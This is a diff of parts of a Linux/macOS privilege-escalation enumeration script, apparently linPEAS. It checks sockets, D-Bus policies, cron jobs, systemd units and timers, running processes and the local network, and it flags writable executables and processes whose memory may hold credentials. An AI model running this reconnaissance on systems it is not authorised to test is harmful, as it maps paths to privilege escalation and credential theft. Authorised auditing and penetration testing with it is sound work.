unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
fi
|
||||
|
||||
# But also search socket files
|
||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||
|
||||
# Detele repeated dockets and check permissions
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
|
||||
perms=""
|
||||
if [ -r "$l" ]; then
|
||||
perms="Read "
|
||||
fi
|
||||
if [ -w "$l" ];then
|
||||
perms="${perms}Write"
|
||||
fi
|
||||
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
||||
else
|
||||
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
||||
echo " └─(${RED}${perms}${NC})"
|
||||
# Try to contact the socket
|
||||
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
||||
if [ $? -eq 0 ]; then
|
||||
owner=$(ls -l "$s" | cut -d ' ' -f 3)
|
||||
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||
echo "$socketcurl" | head -n 30
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) Writable and weak policies in D-Bus config files
|
||||
print_2title "D-Bus config files"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
|
||||
if [ "$PSTORAGE_DBUS" ]; then
|
||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||
for f in $d/*; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then
|
||||
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
|
||||
genpol=$(grep "<policy>" "$f" 2>/dev/null)
|
||||
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
|
||||
|
||||
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#for g in `groups`; do
|
||||
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
|
||||
#done
|
||||
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
|
||||
#TODO: identify allows in context="default"
|
||||
done
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "D-Bus Service Objects list"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
|
||||
dbuslist=$(busctl list 2>/dev/null)
|
||||
if [ "$dbuslist" ]; then
|
||||
busctl list | while read line; do
|
||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||
srvc_object=$(echo $line | cut -d " " -f1)
|
||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||
if [ "$srvc_object_info" ]; then
|
||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
else echo_not_found "busctl"
|
||||
fi
|
||||
@@ -24,7 +24,7 @@ fi
|
||||
#-- NI) Interfaces
|
||||
print_2title "Interfaces"
|
||||
cat /etc/networks 2>/dev/null
|
||||
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
|
||||
(ifconfig || ip a) 2>/dev/null
|
||||
echo ""
|
||||
|
||||
#-- NI) Neighbours
|
||||
@@ -53,8 +53,8 @@ fi
|
||||
|
||||
#-- NI) Ports
|
||||
print_2title "Active Ports"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports"
|
||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
#-- NI) MacOS hardware ports
|
||||
@@ -92,14 +92,14 @@ fi
|
||||
print_2title "Can I sniff with tcpdump?"
|
||||
timeout 1 tcpdump >/dev/null 2>&1
|
||||
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing"
|
||||
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- NI) Internet access
|
||||
if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
||||
if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
||||
print_2title "Internet Access?"
|
||||
check_tcp_80 2>/dev/null &
|
||||
check_tcp_443 2>/dev/null &
|
||||
@@ -109,15 +109,11 @@ if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
if ! [ "$FOUND_NC" ]; then
|
||||
printf $RED"[-] $SCAN_BAN_BAD\n$NC"
|
||||
echo "The network is not going to be scanned..."
|
||||
|
||||
elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
|
||||
printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
|
||||
echo "The network is not going to be scanned..."
|
||||
|
||||
else
|
||||
print_2title "Scanning local networks (using /24)"
|
||||
|
||||
@@ -126,7 +122,7 @@ if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
fi
|
||||
|
||||
select_nc
|
||||
local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
|
||||
local_ips=$(ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
|
||||
printf "%s\n" "$local_ips" | while read local_ip; do
|
||||
if ! [ -z "$local_ip" ]; then
|
||||
print_3title "Discovering hosts in $local_ip/24"
|
||||
@@ -155,10 +151,6 @@ if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
|
||||
print_3title "Scanning top ports of host.docker.internal"
|
||||
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -1,380 +0,0 @@
|
||||
|
||||
####################################################
|
||||
#-----) Processes & Cron & Services & Timers (-----#
|
||||
####################################################
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
|
||||
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
|
||||
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
|
||||
fi
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||
cpid=$(echo "$psline" | awk '{print $2}')
|
||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
pslist=$(ps auxwww)
|
||||
echo ""
|
||||
|
||||
#-- PCS) Binary processes permissions
|
||||
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
binW="IniTialiZZinnggg"
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||
if [ -w "$bpath" ]; then
|
||||
binW="$binW|$bpath"
|
||||
fi
|
||||
done
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
CURRENT_USER_PIVOT_PID=""
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
|
||||
#-- PCS) Process opened by other users
|
||||
print_2title "Processes whose PPID belongs to a different user (not root)"
|
||||
print_info "You will know if a user can somehow spawn processes as a different user"
|
||||
|
||||
# Function to get user by PID
|
||||
get_user_by_pid() {
|
||||
ps -p "$1" -o user | grep -v "USER"
|
||||
}
|
||||
|
||||
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
|
||||
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
|
||||
if [ "$ppid" = "0" ]; then
|
||||
continue
|
||||
fi
|
||||
ppid_user=$(get_user_by_pid "$ppid")
|
||||
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
|
||||
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
if [ "$ppid_user" = "$USER" ]; then
|
||||
CURRENT_USER_PIVOT_PID="$ppid"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Files opened by processes belonging to other users"
|
||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Processes with credentials inside memory
|
||||
print_2title "Processes with credentials in memory (root req)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Different processes 1 min
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
|
||||
for i in $(seq 1 1210); do
|
||||
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
|
||||
done;
|
||||
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
|
||||
rm "$temp_file";
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cron
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||
incrontab -l 2>/dev/null
|
||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||
atq 2>/dev/null
|
||||
else
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "StartupItems"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Login Items"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "SPStartupItemDataType"
|
||||
system_profiler SPStartupItemDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Emond scripts"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||
ls -l /private/var/db/emondClients
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Services
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Services"
|
||||
print_info "Search for outdated versions"
|
||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) systemd PATH
|
||||
print_2title "Systemd PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) .service files
|
||||
#TODO: .service files in MACOS are folders
|
||||
print_2title "Analyzing .service files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
||||
printf "%s\n" "$servicebinpaths" | while read sp; do
|
||||
if [ -w "$sp" ]; then
|
||||
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
done
|
||||
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
|
||||
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
||||
if [ "$WRITABLESYSTEMDPATH" ]; then
|
||||
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||
else
|
||||
echo "$s could be executing some relative path"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) Timers
|
||||
print_2title "System timers"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) .timer files
|
||||
print_2title "Analyzing .timer files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
||||
printf "%s\n" "$timerbinpaths" | while read tb; do
|
||||
if [ -w "$tb" ]; then
|
||||
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
|
||||
#for rp in "$relpath"; do
|
||||
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
|
||||
#done
|
||||
done
|
||||
echo ""
|
||||
|
||||
#-- PSC) .socket files
|
||||
#TODO: .socket files in MACOS are folders
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Analyzing .socket files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||
fi
|
||||
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketsbinpaths" | while read sb; do
|
||||
if [ -w "$sb" ]; then
|
||||
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketslistpaths" | while read sl; do
|
||||
if [ -w "$sl" ]; then
|
||||
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unix Sockets Listening"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
# Search sockets using netstat and ss
|
||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||
fi
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
fi
|
||||
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
# But also search socket files
|
||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||
else
|
||||
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Detele repeated dockets and check permissions
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
|
||||
perms=""
|
||||
if [ -r "$l" ]; then
|
||||
perms="Read "
|
||||
fi
|
||||
if [ -w "$l" ];then
|
||||
perms="${perms}Write"
|
||||
fi
|
||||
|
||||
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
|
||||
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
|
||||
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
|
||||
perms="${perms} - Can Connect"
|
||||
else
|
||||
perms="${perms} - Cannot Connect"
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
||||
else
|
||||
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
||||
